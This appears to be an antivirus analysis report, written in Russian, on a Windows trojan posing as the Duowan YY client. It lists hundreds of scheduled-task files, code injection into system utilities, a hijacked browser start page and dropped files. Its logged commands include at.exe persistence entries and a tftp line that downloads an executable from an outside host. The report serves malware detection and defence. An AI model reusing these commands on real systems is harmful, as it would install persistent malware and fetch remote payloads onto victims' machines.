Техническая информация
Для обеспечения автозапуска и распространения:
Создает или изменяет следующие файлы:
- %WINDIR%\Tasks\At171.job
- %WINDIR%\Tasks\At170.job
- %WINDIR%\Tasks\At169.job
- %WINDIR%\Tasks\At172.job
- %WINDIR%\Tasks\At175.job
- %WINDIR%\Tasks\At174.job
- %WINDIR%\Tasks\At173.job
- %WINDIR%\Tasks\At168.job
- %WINDIR%\Tasks\At163.job
- %WINDIR%\Tasks\At162.job
- %WINDIR%\Tasks\At161.job
- %WINDIR%\Tasks\At164.job
- %WINDIR%\Tasks\At167.job
- %WINDIR%\Tasks\At166.job
- %WINDIR%\Tasks\At165.job
- %WINDIR%\Tasks\At176.job
- %WINDIR%\Tasks\At187.job
- %WINDIR%\Tasks\At186.job
- %WINDIR%\Tasks\At185.job
- %WINDIR%\Tasks\At188.job
- %WINDIR%\Tasks\At191.job
- %WINDIR%\Tasks\At190.job
- %WINDIR%\Tasks\At189.job
- %WINDIR%\Tasks\At184.job
- %WINDIR%\Tasks\At179.job
- %WINDIR%\Tasks\At178.job
- %WINDIR%\Tasks\At177.job
- %WINDIR%\Tasks\At180.job
- %WINDIR%\Tasks\At183.job
- %WINDIR%\Tasks\At182.job
- %WINDIR%\Tasks\At181.job
- %WINDIR%\Tasks\At160.job
- %WINDIR%\Tasks\At139.job
- %WINDIR%\Tasks\At138.job
- %WINDIR%\Tasks\At137.job
- %WINDIR%\Tasks\At140.job
- %WINDIR%\Tasks\At143.job
- %WINDIR%\Tasks\At142.job
- %WINDIR%\Tasks\At141.job
- %WINDIR%\Tasks\At136.job
- %WINDIR%\Tasks\At131.job
- %WINDIR%\Tasks\At130.job
- %WINDIR%\Tasks\At129.job
- %WINDIR%\Tasks\At132.job
- %WINDIR%\Tasks\At135.job
- %WINDIR%\Tasks\At134.job
- %WINDIR%\Tasks\At133.job
- %WINDIR%\Tasks\At144.job
- %WINDIR%\Tasks\At155.job
- %WINDIR%\Tasks\At154.job
- %WINDIR%\Tasks\At153.job
- %WINDIR%\Tasks\At156.job
- %WINDIR%\Tasks\At159.job
- %WINDIR%\Tasks\At158.job
- %WINDIR%\Tasks\At157.job
- %WINDIR%\Tasks\At152.job
- %WINDIR%\Tasks\At147.job
- %WINDIR%\Tasks\At146.job
- %WINDIR%\Tasks\At145.job
- %WINDIR%\Tasks\At148.job
- %WINDIR%\Tasks\At151.job
- %WINDIR%\Tasks\At150.job
- %WINDIR%\Tasks\At149.job
- %WINDIR%\Tasks\At192.job
- %WINDIR%\Tasks\At235.job
- %WINDIR%\Tasks\At234.job
- %WINDIR%\Tasks\At233.job
- %WINDIR%\Tasks\At236.job
- %WINDIR%\Tasks\At239.job
- %WINDIR%\Tasks\At238.job
- %WINDIR%\Tasks\At237.job
- %WINDIR%\Tasks\At232.job
- %WINDIR%\Tasks\At227.job
- %WINDIR%\Tasks\At226.job
- %WINDIR%\Tasks\At225.job
- %WINDIR%\Tasks\At228.job
- %WINDIR%\Tasks\At231.job
- %WINDIR%\Tasks\At230.job
- %WINDIR%\Tasks\At229.job
- %WINDIR%\Tasks\At240.job
- %WINDIR%\Tasks\At251.job
- %WINDIR%\Tasks\At250.job
- %WINDIR%\Tasks\At249.job
- %WINDIR%\Tasks\At252.job
- %WINDIR%\Tasks\At255.job
- %WINDIR%\Tasks\At254.job
- %WINDIR%\Tasks\At253.job
- %WINDIR%\Tasks\At248.job
- %WINDIR%\Tasks\At243.job
- %WINDIR%\Tasks\At242.job
- %WINDIR%\Tasks\At241.job
- %WINDIR%\Tasks\At244.job
- %WINDIR%\Tasks\At247.job
- %WINDIR%\Tasks\At246.job
- %WINDIR%\Tasks\At245.job
- %WINDIR%\Tasks\At224.job
- %WINDIR%\Tasks\At203.job
- %WINDIR%\Tasks\At202.job
- %WINDIR%\Tasks\At201.job
- %WINDIR%\Tasks\At204.job
- %WINDIR%\Tasks\At207.job
- %WINDIR%\Tasks\At206.job
- %WINDIR%\Tasks\At205.job
- %WINDIR%\Tasks\At200.job
- %WINDIR%\Tasks\At195.job
- %WINDIR%\Tasks\At194.job
- %WINDIR%\Tasks\At193.job
- %WINDIR%\Tasks\At196.job
- %WINDIR%\Tasks\At199.job
- %WINDIR%\Tasks\At198.job
- %WINDIR%\Tasks\At197.job
- %WINDIR%\Tasks\At208.job
- %WINDIR%\Tasks\At219.job
- %WINDIR%\Tasks\At218.job
- %WINDIR%\Tasks\At217.job
- %WINDIR%\Tasks\At220.job
- %WINDIR%\Tasks\At223.job
- %WINDIR%\Tasks\At222.job
- %WINDIR%\Tasks\At221.job
- %WINDIR%\Tasks\At216.job
- %WINDIR%\Tasks\At211.job
- %WINDIR%\Tasks\At210.job
- %WINDIR%\Tasks\At209.job
- %WINDIR%\Tasks\At212.job
- %WINDIR%\Tasks\At215.job
- %WINDIR%\Tasks\At214.job
- %WINDIR%\Tasks\At213.job
- %WINDIR%\Tasks\At128.job
- %WINDIR%\Tasks\At43.job
- %WINDIR%\Tasks\At42.job
- %WINDIR%\Tasks\At41.job
- %WINDIR%\Tasks\At44.job
- %WINDIR%\Tasks\At47.job
- %WINDIR%\Tasks\At46.job
- %WINDIR%\Tasks\At45.job
- %WINDIR%\Tasks\At40.job
- %WINDIR%\Tasks\At35.job
- %WINDIR%\Tasks\At34.job
- %WINDIR%\Tasks\At33.job
- %WINDIR%\Tasks\At36.job
- %WINDIR%\Tasks\At39.job
- %WINDIR%\Tasks\At38.job
- %WINDIR%\Tasks\At37.job
- %WINDIR%\Tasks\At48.job
- %WINDIR%\Tasks\At59.job
- %WINDIR%\Tasks\At58.job
- %WINDIR%\Tasks\At57.job
- %WINDIR%\Tasks\At60.job
- %WINDIR%\Tasks\At63.job
- %WINDIR%\Tasks\At62.job
- %WINDIR%\Tasks\At61.job
- %WINDIR%\Tasks\At56.job
- %WINDIR%\Tasks\At51.job
- %WINDIR%\Tasks\At50.job
- %WINDIR%\Tasks\At49.job
- %WINDIR%\Tasks\At52.job
- %WINDIR%\Tasks\At55.job
- %WINDIR%\Tasks\At54.job
- %WINDIR%\Tasks\At53.job
- %WINDIR%\Tasks\At32.job
- %WINDIR%\Tasks\At11.job
- %WINDIR%\Tasks\At10.job
- %WINDIR%\Tasks\At9.job
- %WINDIR%\Tasks\At12.job
- %WINDIR%\Tasks\At15.job
- %WINDIR%\Tasks\At14.job
- %WINDIR%\Tasks\At13.job
- %WINDIR%\Tasks\At8.job
- %WINDIR%\Tasks\At3.job
- %WINDIR%\Tasks\At2.job
- %WINDIR%\Tasks\At1.job
- %WINDIR%\Tasks\At4.job
- %WINDIR%\Tasks\At7.job
- %WINDIR%\Tasks\At6.job
- %WINDIR%\Tasks\At5.job
- %WINDIR%\Tasks\At16.job
- %WINDIR%\Tasks\At27.job
- %WINDIR%\Tasks\At26.job
- %WINDIR%\Tasks\At25.job
- %WINDIR%\Tasks\At28.job
- %WINDIR%\Tasks\At31.job
- %WINDIR%\Tasks\At30.job
- %WINDIR%\Tasks\At29.job
- %WINDIR%\Tasks\At24.job
- %WINDIR%\Tasks\At19.job
- %WINDIR%\Tasks\At18.job
- %WINDIR%\Tasks\At17.job
- %WINDIR%\Tasks\At20.job
- %WINDIR%\Tasks\At23.job
- %WINDIR%\Tasks\At22.job
- %WINDIR%\Tasks\At21.job
- %WINDIR%\Tasks\At64.job
- %WINDIR%\Tasks\At107.job
- %WINDIR%\Tasks\At106.job
- %WINDIR%\Tasks\At105.job
- %WINDIR%\Tasks\At108.job
- %WINDIR%\Tasks\At111.job
- %WINDIR%\Tasks\At110.job
- %WINDIR%\Tasks\At109.job
- %WINDIR%\Tasks\At104.job
- %WINDIR%\Tasks\At99.job
- %WINDIR%\Tasks\At98.job
- %WINDIR%\Tasks\At97.job
- %WINDIR%\Tasks\At100.job
- %WINDIR%\Tasks\At103.job
- %WINDIR%\Tasks\At102.job
- %WINDIR%\Tasks\At101.job
- %WINDIR%\Tasks\At112.job
- %WINDIR%\Tasks\At123.job
- %WINDIR%\Tasks\At122.job
- %WINDIR%\Tasks\At121.job
- %WINDIR%\Tasks\At124.job
- %WINDIR%\Tasks\At127.job
- %WINDIR%\Tasks\At126.job
- %WINDIR%\Tasks\At125.job
- %WINDIR%\Tasks\At120.job
- %WINDIR%\Tasks\At115.job
- %WINDIR%\Tasks\At114.job
- %WINDIR%\Tasks\At113.job
- %WINDIR%\Tasks\At116.job
- %WINDIR%\Tasks\At119.job
- %WINDIR%\Tasks\At118.job
- %WINDIR%\Tasks\At117.job
- %WINDIR%\Tasks\At96.job
- %WINDIR%\Tasks\At75.job
- %WINDIR%\Tasks\At74.job
- %WINDIR%\Tasks\At73.job
- %WINDIR%\Tasks\At76.job
- %WINDIR%\Tasks\At79.job
- %WINDIR%\Tasks\At78.job
- %WINDIR%\Tasks\At77.job
- %WINDIR%\Tasks\At72.job
- %WINDIR%\Tasks\At67.job
- %WINDIR%\Tasks\At66.job
- %WINDIR%\Tasks\At65.job
- %WINDIR%\Tasks\At68.job
- %WINDIR%\Tasks\At71.job
- %WINDIR%\Tasks\At70.job
- %WINDIR%\Tasks\At69.job
- %WINDIR%\Tasks\At80.job
- %WINDIR%\Tasks\At91.job
- %WINDIR%\Tasks\At90.job
- %WINDIR%\Tasks\At89.job
- %WINDIR%\Tasks\At92.job
- %WINDIR%\Tasks\At95.job
- %WINDIR%\Tasks\At94.job
- %WINDIR%\Tasks\At93.job
- %WINDIR%\Tasks\At88.job
- %WINDIR%\Tasks\At83.job
- %WINDIR%\Tasks\At82.job
- %WINDIR%\Tasks\At81.job
- %WINDIR%\Tasks\At84.job
- %WINDIR%\Tasks\At87.job
- %WINDIR%\Tasks\At86.job
- %WINDIR%\Tasks\At85.job
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' 21:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '%WINDIR%\duowan\yy-4.0\Start.exe' 22:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' config Schedule start= AUTO
- '%WINDIR%\duowan\yy-4.0\Start.exe' config Schedule start= AUTO
- '%WINDIR%\duowan\yy-4.0\Start.exe' 2:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '%WINDIR%\duowan\yy-4.0\Start.exe' /pid=5888
- '%WINDIR%\duowan\yy-4.0\Start.exe' /pid=5096
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' -l
- '%WINDIR%\duowan\yy-4.0\Start.exe'
- '%WINDIR%\duowan\yy-4.0\1E33333.exe'
- '%WINDIR%\duowan\yy-4.0\Windowsv1.1.exe'
- '%WINDIR%\duowan\yy-4.0\Start.exe' /pid=3288
- '%WINDIR%\duowan\yy-4.0\duospeak.exe' start schedule
- '%WINDIR%\duowan\yy-4.0\Start.exe' 8:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
Запускает на исполнение:
- '<SYSTEM32>\at.exe' start schedule
- '<SYSTEM32>\at.exe' /pid=5944
- '<SYSTEM32>\at.exe' 5:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=5832
- '<SYSTEM32>\sc.exe' /pid=5896
- '<SYSTEM32>\at.exe' /pid=5952
- '<SYSTEM32>\at.exe' /pid=3212
- '<SYSTEM32>\net1.exe' 13:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=6008
- '<SYSTEM32>\at.exe' /c C:\123.bat
- '<SYSTEM32>\at.exe' /pid=5992
- '<SYSTEM32>\at.exe' /pid=5600
- '<SYSTEM32>\at.exe' /pid=5808
- '<SYSTEM32>\at.exe' 1:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 2:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 3:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=992
- '<SYSTEM32>\at.exe' 23:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 0:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=5752
- '<SYSTEM32>\at.exe' /pid=5400
- '<SYSTEM32>\net1.exe' -l
- '<SYSTEM32>\at.exe' 22:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 4:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\tftp.exe' 6:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=5860
- '<SYSTEM32>\at.exe' /pid=5500
- '<SYSTEM32>\at.exe' /pid=6064
- '<SYSTEM32>\at.exe' /pid=4688
- '<SYSTEM32>\at.exe' /pid=5692
- '<SYSTEM32>\at.exe' /pid=5820
- '<SYSTEM32>\sc.exe' /pid=5788
- '<SYSTEM32>\at.exe' 9:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' -l
- '<SYSTEM32>\sc.exe' 22:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=6112
- '<SYSTEM32>\net1.exe' 11:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 8:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 6:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=4464
- '<SYSTEM32>\at.exe' /pid=4276
- '<SYSTEM32>\at.exe' /pid=3856
- '<SYSTEM32>\at.exe' /pid=1628
- '<SYSTEM32>\at.exe' /pid=3112
- '<SYSTEM32>\net1.exe' /pid=4596
- '<SYSTEM32>\at.exe' 7:30 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=4956
- '<SYSTEM32>\net1.exe' /pid=4500
- '<SYSTEM32>\at.exe' /pid=4548
- '<SYSTEM32>\at.exe' /pid=4284
- '<SYSTEM32>\at.exe' /pid=2436
- '<SYSTEM32>\at.exe' 12:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 13:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 14:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 9:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 10:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 11:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=2768
- '<SYSTEM32>\sc.exe' /pid=2748
- '<SYSTEM32>\at.exe' 16:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 15:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\net1.exe' 5:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=2700
- '<SYSTEM32>\at.exe' 8:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 0:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 1:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 2:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\cmd.exe' /c C:\123.bat
- '<SYSTEM32>\sc.exe' config Schedule start= AUTO
- '<SYSTEM32>\net1.exe' start schedule
- '<SYSTEM32>\at.exe' 5:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 6:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 7:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 3:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 4:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\tftp.exe' -i 12.xide168.com get 20130624.exe
- '<SYSTEM32>\at.exe' /pid=3904
- '<SYSTEM32>\at.exe' /pid=3936
- '<SYSTEM32>\at.exe' /pid=3156
- '<SYSTEM32>\at.exe' /pid=2864
- '<SYSTEM32>\at.exe' 21:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=3676
- '<SYSTEM32>\at.exe' /pid=3740
- '<SYSTEM32>\net1.exe' /pid=2548
- '<SYSTEM32>\at.exe' /pid=2448
- '<SYSTEM32>\at.exe' /pid=3820
- '<SYSTEM32>\at.exe' /pid=2896
- '<SYSTEM32>\at.exe' config Schedule start= AUTO
- '<SYSTEM32>\at.exe' /pid=3200
- '<SYSTEM32>\at.exe' 17:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\sc.exe' /pid=3500
- '<SYSTEM32>\at.exe' /pid=3708
- '<SYSTEM32>\at.exe' /pid=3196
- '<SYSTEM32>\at.exe'
- '<SYSTEM32>\sc.exe' /pid=3248
- '<SYSTEM32>\at.exe' 19:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' 20:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\sc.exe' /pid=2664
- '<SYSTEM32>\at.exe' 18:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\net1.exe' 6:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\duowan\yy-4.0\Start.exe
- '<SYSTEM32>\at.exe' /pid=3844
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\tftp.exe
- <SYSTEM32>\net1.exe
- <SYSTEM32>\sc.exe
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\at.exe
- <SYSTEM32>\net.exe
Без разрешения пользователя устанавливает новую стартовую страницу для Windows Internet Explorer.
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\duowan\yy-4.0\1E33333.exe
- %APPDATA%\duowan\yy\C__WINDOWS_duowan_yy-4.0_\LaunchTrace.log
- C:\123.bat
- %WINDIR%\duowan\yy-4.0\duospeak.exe
- %WINDIR%\duowan\yy-4.0\配置.ini
- %WINDIR%\duowan\yy-4.0\Windowsv1.1.exe
- %WINDIR%\duowan\yy-4.0\Start.exe
- %WINDIR%\duowan\yy-4.0\duoakcmd.exe
Удаляет следующие файлы:
- %APPDATA%\duowan\yy\C__WINDOWS_duowan_yy-4.0_\LaunchTrace.log
Сетевая активность:
Подключается к:
- 'localhost':1038
- '12.##de168.com':99
- 'localhost':1035
UDP:
- DNS ASK 12.##de168.com
Другое:
Ищет следующие окна:
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: 'START | A92539D5-6C41-4b8e-BF46-288D19E04799' WindowName: '(null)'
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
